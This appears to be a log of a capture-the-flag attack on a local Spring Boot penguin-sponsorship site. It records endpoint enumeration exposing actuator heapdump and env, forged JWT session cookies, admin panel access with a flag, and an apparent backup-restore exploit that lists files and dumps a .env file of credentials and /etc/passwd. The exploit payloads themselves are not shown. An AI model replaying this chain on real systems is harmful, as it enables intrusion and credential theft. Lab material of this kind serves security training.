2026-10-14T10:57:35.3NZ pid= ppid=28501 user=analista tty=ttys005  cmd=recon inicio http://127.0.0.1:8080
=== headers / index ===
HTTP/1.1 200 
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Transfer-Encoding: chunked
Date: Wed, 14 Oct 2026 10:57:35 GMT

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8"/>
    <meta name="viewport" content="width=device-width, initial-scale=1.0"/>
    <title>Apadrina un Pingüino</title>
    <link rel="stylesheet" href="/css/style.css"/>
</head>
<body>
<header class="nav">
    <a class="brand" href="/">🐧 Apadrina un Pingüino</a>
    <nav>
        <a href="/">Inicio</a>
        <a href="/pinguinos">Pingüinos</a>
        
        <span>
            <a href="/login">Entrar</a>
            <a class="btn-nav" href="/register">Registrarse</a>
        </span>
    </nav>
</header>

<section class="hero">
    <span class="penguin-big">🐧</span>
=== fingerprint (Server, spring, session) ===
=== barrido de endpoints ===
/                            -> 200 3791
/login                       -> 200 1232
/register                    -> 200 1355
/admin                       -> 403 1024
/actuator                    -> 200 1680
/actuator/health             -> 200 264
/actuator/env                -> 200 6724
/actuator/beans              -> 200 138284
/actuator/mappings           -> 200 26656
/actuator/heapdump           -> 200 63761953
/error                       -> 500 73
/api                         -> 404 92
/api/users                   -> 404 98
/user                        -> 404 93
/users                       -> 404 94
/home                        -> 404 93
/dashboard                   -> 404 98
/profile                     -> 404 96
/upload                      -> 404 95
/robots.txt                  -> 404 99
/swagger-ui/index.html       -> 404 110
/v3/api-docs                 -> 404 100
/js                          -> 404 91
/css                         -> 404 92
/index                       -> 404 94
2026-10-14T10:57:56.3NZ cmd=descarga heapdump
HTTP/1.1 302 
Set-Cookie: session=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJqd3giLCJyb2xlIjoiVVNFUiIsImlhdCI6MTc5MTk3NTUzNSwiZXhwIjoxNzkxOTc5MTM1fQ.dEFzY7TVRbk0v5GhO2RpoINE2plSXOrPUYEywoCijrI; Max-Age=3600; Expires=Wed, 14 Oct 2026 11:58:55 GMT; Path=/; HttpOnly
Location: http://127.0.0.1:8080/perfil
Content-Language: en-US
Content-Length: 0
Date: Wed, 14 Oct 2026 10:58:55 GMT

HTTP/1.1 302 
Set-Cookie: session=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJqd3giLCJyb2xlIjoiVVNFUiIsImlhdCI6MTc5MTk3NTUzNiwiZXhwIjoxNzkxOTc5MTM2fQ.s1dTLDp2oEoBM_0y3Q-N8GLwCePuvGf7mp9EhdHAZD4; Max-Age=3600; Expires=Wed, 14 Oct 2026 11:58:56 GMT; Path=/; HttpOnly
Location: http://127.0.0.1:8080/perfil
Content-Language: en-US
Content-Length: 0
Date: Wed, 14 Oct 2026 10:58:55 GMT

HTTP/1.1 200 
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Transfer-Encoding: chunked
Date: Wed, 14 Oct 2026 10:59:04 GMT
GET /admin -> 200
    <h1 style="color:#0b3d62;">🔐 Panel de administración</h1>
    <h2 style="color:#0b3d62;">Usuarios registrados</h2>
    <div class="flag">
        🏴 <span>FLAG{actuator_h34pdump_jwt_f0rg3ry_pwn3d}</span>
    <h2 style="color:#0b3d62; margin-top:36px;">⚙️ Restaurar copia de seguridad</h2>
    <form method="post" action="/admin/restore">
        <textarea name="backup" rows="5" style="width:100%; padding:11px; border:1px solid #cdddea; border-radius:8px; font-family:monospace;"
2026-10-14T10:59:19.3NZ cmd=probe /admin/restore
total 52516
drwxr-xr-x 1 www-data www-data     4096 Jun 16 08:02 .
drwxr-xr-x 1 root     root         4096 Oct 14 10:58 ..
-rw-r--r-- 1 www-data www-data      663 Jun 16 07:53 .env
-rw-r--r-- 1 www-data www-data 53763638 Jun 16 08:02 app.jar
# ===========================================================================
#  Configuracion del backend - Apadrina un Pinguino  (NO subir a git!)
# ===========================================================================
APP_ENV=production
APP_NAME=Apadrina un Pinguino

# Base de datos de produccion
DB_HOST=db-prod.internal
DB_PORT=3306
DB_NAME=pinguinos
DB_USER=svc_pinguinos
DB_PASSWORD=Pr0d_Gl4c14r_Sync_2024

# Integraciones
PARTNER_API_KEY=apikey_live_pngn_8f3a9c2e7b1d4f6a0c5e9d2b

# Clave de recuperacion de acceso del sistema.
# El equipo de sistemas la reutiliza como contrasena de la cuenta de soporte/root.
RECOVERY_KEY=recoverypasswordpenguin
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
<html>
<head>
    <link rel="stylesheet" href="/css/style.css"/>
<header class="nav">
    <h1 style="color:#0b3d62;">🔐 Panel de administración</h1>
        <div class="stat"><div class="num">3</div><div>Usuarios</div></div>
    <h2 style="color:#0b3d62;">Usuarios registrados</h2>
        <tr><th>ID</th><th>Usuario</th><th>Email</th><th>Rol</th></tr>
            <td>1</td>
            <td>admin</td>
            <td>admin@apadrinaunpinguino.org</td>
            <td>ADMIN</td>
            <td>2</td>
            <td>lucia</td>
            <td>lucia@example.com</td>
            <td>USER</td>
            <td>3</td>
            <td>jwx</td>
            <td>jwx@lab.local</td>
            <td>USER</td>
    <h2 style="color:#0b3d62; margin-top:36px;">⚙️ Restaurar copia de seguridad</h2>